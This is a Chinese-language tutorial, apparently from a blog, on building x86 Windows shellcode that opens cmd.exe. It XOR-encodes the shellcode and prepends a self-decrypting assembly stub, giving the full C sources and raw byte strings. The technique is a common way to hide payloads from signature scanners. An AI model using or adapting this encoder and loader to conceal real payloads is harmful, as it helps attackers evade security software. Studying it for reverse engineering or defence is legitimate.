首先看我们的shellcode,执行弹出cmd
没有shellcode:
#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"int main(int argc, char* argv[])
{printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{mov eax,strpush 5 ;5=SW_SHOWpush eaxmov eax,0x755bdab0 //call dword ptr [WinExec]call eax}return 0;}
将汇编改成shellcode,注意mov eax,0x755bdab0,后面0x755bdab0是WinExec函数的地址,每个机子可能不一样,请查看下自己机子这个函数的地址(将mov eax,0x755bdab0改成call dword ptr [WinExec],当执行call dword ptr [WinExec]时,查看eip的值就是WinExec的地址),不要用call dword ptr [WinExec],虽然也能弹出cmd,但是对后面有很大影响,我试了,解码后弹不出cmd(我也不知道为啥,我一开始就是用这个的,浪费我好长时间)。
#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x51;
char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";int main(int argc, char* argv[])
{printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{lea eax,shellcodecall eax}return 0;
}
利用xor给shellcode加密,加密的程序为:
#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x51;
char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";unsigned char decodeShellCode[200];int main(int argc, char* argv[])
{printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";int length=sizeof(shellcode)/sizeof(shellcode[0]);for (int i=0;i<length-1;i++){ printf("\\x%0.2x",shellcode[i]); decodeShellCode[i]=shellcode[i]^key;printf("\t");printf("\\x%0.2x",decodeShellCode[i]);printf("\n");}return 0;
}
将shellcode加密,然后输出来,后面的是加密后的shellcode,将后面的粘贴复制到一个数组里
char encodeSC[]="\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";
将加密的shellcode加载到内存里,然后动态在内存里改回来
先解密要执行的代码,然后再跳到解密后哪里执行加载整个shellcode到内存,前面专门解密后面的部分,再执行,就是加载整个外壳代码到内存,前面专门解密后面的部分,再执行
解密的程序为:
__asm{add eax,24mov ecx,13xor edx,edx
decode:mov bl,byte ptr ds:[eax+edx]xor bl,51hmov byte ptr ds:[eax+edx],blinc edxloop decode}
将这段程序反汇编,找出机器码
程序中24是这段机器码的长度,13是我们的shellcode长度
将机器码放到我们加密的shellcode前面
char decodeSC[]="\x83\xC0\x18\xB9\x0d\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3E\x88\x1C\x10\x42\xE2\xF2"
"\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";
最终程序
#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x51;char decodeSC[]="\x83\xC0\x18\xB9\x0d\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3E\x88\x1C\x10\x42\xE2\xF2"
"\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";int main(int argc, char* argv[])
{printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{lea eax,decodeSCpush eaxret }return 0;
}
思路:
- 找出我们要执行的shellcode
- 利用xor给shellcode加密成encodeShellcode
- 再写个汇编,用于解密encodeShellcode,再写汇编时,要注意这个汇编产生的机器码长度(mov eax,24,24就是这个汇编机器码的长度)
- 找出汇编的机器码,放在加密的shelcode前面
- 将数组地址赋给eax,push eax,ret
建议反汇编的时候,一步步执行,我们就能看到动态修改加密后的shellcode了